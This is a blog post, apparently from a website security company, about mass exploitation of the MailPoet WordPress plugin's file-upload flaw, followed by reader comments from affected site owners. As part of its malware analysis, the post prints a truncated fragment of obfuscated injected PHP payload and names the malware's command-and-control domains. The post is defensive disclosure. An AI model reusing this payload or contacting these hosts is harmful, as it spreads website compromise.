The popular Mailpoet(wysija-newsletters) WordPress plugin had a serious file upload vulnerability a few months back, allowing an attacker to upload files to vulnerable sites.
This issue was disclosed months ago and the MailPoet team patched it promptly. It seems, though, that many website owners have still not gotten the word, or are blatantly not updating, because we are seeing another string of mass exploitation attempts against WordPress websites. Those that are not or have not updated are getting infected repeatedly via this vector. The issue is compounded further because the attackers are using it as a spring board into the rest of their account further compromising their entire account.
Please, we cannot stress the importance of updating enough, and not just your active website, but any other websites you have in your stack, under the same account. Cross-site contamination is a very serious issue. If you can’t update for whatever reason, employ the use of a Website Firewall, at a minimum, and stop the attackers before they get in.
The Payload
We are lucky because the volume of infected websites we see daily allows us to analyze and clean hundreds of websites which then allows us to establish processes that escalate cases if they trigger specific similarities. It’s part of our pattern recognition process. It’s at this point that our Research team gets involved to better understand the cause and introduce new solutions to 1) clean it faster and 2) see if there is something we can do to get ahead of it (it’s what leads to these posts).
This is exactly what has transpired in this case case. The pattern was this random payload:
<?php if(!isset($GLOBALS["x61156x75156x61"])) { $ua=strtolower($_SERVER["x48124x54120x5f125x53105x52137x41107x45116x54"]); if ((! strstr($ua,"x6d163x69145")) and (! strstr($ua,"x72166x3a61x31"))) $GLOBALS["x61156x75156x61"]=1; } ?><? php $fiukcmzguy = '%x5c%x7825)kV%x5c%x7878{**#k#)tutjyf%x5c%x7860%x5c4}472%x5c%x7824<!%x5c%x7825 mm!>!#]y81]273]y76]258]y6g5w%x5c%x7860%x5c%x785c^>Ew:Qb:<**2-4- bubE{h%x5c%x7825)sutcvt)esp>hmg%x5c%x782x7825z>>2*!%x5c%x7825z>3<!fmn>qp%x5c%x7825!|Z~!
We will provide a more thorough breakdown of what it is doing in another post. At a high level though, it contacts a malware Command and Control (C&C) server (either one of these hosts: 33db9538.com, 9507c4e8.com, e5b57288.com, 54dfa1cb.com) to determine what to do with the compromised website.
In cases like this, one of the things we look for are common denominators. In this case, every website had the following path available: wp-content/plugins/wysija-newsletters (yes, MailPoet). When cleaning, they all had:
./wp-content/plugins/wysija-newsletters/classes/WJ_Analytics.php. Details: php.malware.generic.029 ./wp-content/plugins/wysija-newsletters/classes/WJ_Export.php. Details: php.malware.generic.029 ./wp-content/plugins/wysija-newsletters/classes/WJ_Import.php. Details: php.malware.generic.029
Along with hundreds of other compromised PHP files.
This allowed us to drill further into the sites, specifically their logs, and find that all sites with this injection were running MailPoet. As we investigated the logs, we could see the attack pattern of the theme upload, followed by the exploitation.
Cross Site Contamination
Another pattern we are seeing is that cross site contamination is occurring after the compromise.
There were a few websites that did not have MailPoet installed, but further investigation revealed it was on a neighboring website (which was out of date and not patched or protected).
If you have other websites on your web server, or if you ever installed a demo or testing directory, please remove or update it as it can be misused to hack your site or any number of wide ranging acts.
In one case, the “forgotten” directory was /backups. He had a copy of WordPress inside /backups running the vulnerable plugin and it lead to his whole site getting hacked. Yes, Backups are important, but follow best practices when employing them.
Nuclear Exploit Kit
Another interesting point about this injection is that the malware displayed browser-side is very dynamic, but when active it is very similar to this one (a.k.a. – Nuclear Exploit Kit): Malicious Iframes Targeting WordPress
12 comments
Hi,
Cross Site Contamination is a very very VERY serious issue.
After first contamination in July through mailpoet vulnerability it took me days to clean up and check my websites even through SSH global searches on the whole server for specific strings or words…
I removed Mailpoet plugin from all websites when I could convince the client, it remains now only on three websites. Saying that I don’t blame them, I’m sure they had harder time than I had !
Heloo! The same problem here! Any suggestion on how to celan up the websites? The hack is infecting several websites. And as soon i celan up one it turns up to another :/
Thanks!
Well, what I did is through SSH global searches on the whole server for specific strings or words… I finally removed all infected files and since no more problems.
Interesting post. How are the miscreants dropping a shell in the ”
wp-content/plugins/wysija-newsletters” directory? I thought the exploit uploaded a shell in “wp-content/uploads/wysija/themes” ?
It creates a fake theme folder, but you are then able to upload additional shells through the shells that were uploaded into the theme directory.
I have been hacked several times. I see the famous fake admin id=1001001 and whe u delete this user all the plugins are deactivated.
Thank you for warning Mailpoet (wysija-newsletters) WordPress plugin, the best advice is that you should backup data for incident prevention website
It any know if this hack is around mysql too, have 46tk files to remove but if is still touch some datebase that will be scery me , pls help
I had the same issue twice in the past two days. Never used MailPoet on any of my website (had 4 of them on the same host), so there’s probably another vulnerability in another plugin.
Any way to tell which one?
I’m in the same situation as the nwradu. I have never had MailPoet yet the malicious code was inserted in the beginning of all my plugin and theme PHP files. It’s happened twice now and I don’t know how to prevent it from happening again.
I too have not used MailPoet and this malware has managed to place itself in every php script in our main domain site and all sub domain sites as well.
I as well. Never had mailpoet and it has infected every corner of my site. My site is now pretty clean but WHERE DID THIS COME FROM?
It seems that this malware inserter is a few steps ahead of the security people. I know in my case it casued my site to drop all my security because my WP security methods are all plugins. Both Securri and Wordfence in inactivated.
Comments are closed.